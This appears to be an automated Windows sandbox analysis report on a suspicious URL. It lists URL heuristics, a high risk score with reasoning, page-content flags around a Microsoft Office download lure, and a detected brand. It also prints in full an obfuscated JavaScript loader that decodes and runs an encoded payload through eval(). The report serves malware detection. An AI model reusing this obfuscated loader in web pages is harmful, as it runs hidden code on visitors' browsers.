Windows Analysis Report
https://jkqbjwq.maxiite.com

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://jkqbjwq.maxiite.com

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The use of the `eval()` function to execute a heavily encoded string is a clear indicator of malicious intent. Additionally, the script appears to be attempting to bypass the same-origin policy by checking if the current window is not `google.com`. This suggests the script may be trying to redirect users to a malicious domain or perform other unauthorized actions. Overall, the combination of these high-risk indicators warrants a high-risk score."
}

 if (window.self!='google.com') {var _0xc65e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function _0xe4c(d,e,f){var g=_0xc65e[2][_0xc65e[1]](_0xc65e[0]);var h=g[_0xc65e[3]](0,e);var i=g[_0xc65e[3]](0,f);var j=d[_0xc65e[1]](_0xc65e[0])[_0xc65e[10]]()[_0xc65e[9]](function(a,b,c){if(h[_0xc65e[4]](b)!==-1)return a+=h[_0xc65e[4]](b)*(Math[_0xc65e[8]](e,c))},0);var k=_0xc65e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k||_0xc65e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(_0xe4c(s,e,10)-t)}return decodeURIComponent(escape(r))}("kZZZuHukuukHukkZuHukuZZHukkZkHkZZZuHuZuZZHukukkHukkZkHukZkkHukZkZHukkkuHukuukHukkZkHukkZuHuZuZZHukkukHukuZuHukkuZHukukkHukZkZHukZkkHukuZuHuZZuZHuZZZkHukuuuHukkkuHukkkuHukkuZHukkkZHuZkuZHuZuZuHuZuZuHkZZZuHkZZZuHkZZZuHuZuZZHukZkuHukuukHukkZuHukuuZHuZuZZHukZkkHukkZkHukkZZHuZuZuHukkkZHukuZuHukZkZHukkukHukZkkHukuuuHuZkkkHukkuuHuZkkZHukkZkHukuZkHukuZkHukuukHukZkkHukuZuHuZZZkHuZZuuHuZkuuH",82,"ZukHYdPEn",44,3,21))}

{
  "contains_trigger_text": true,
  "trigger_text": "Where do I go to download and purchase Office 2024 Pro Plus?",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}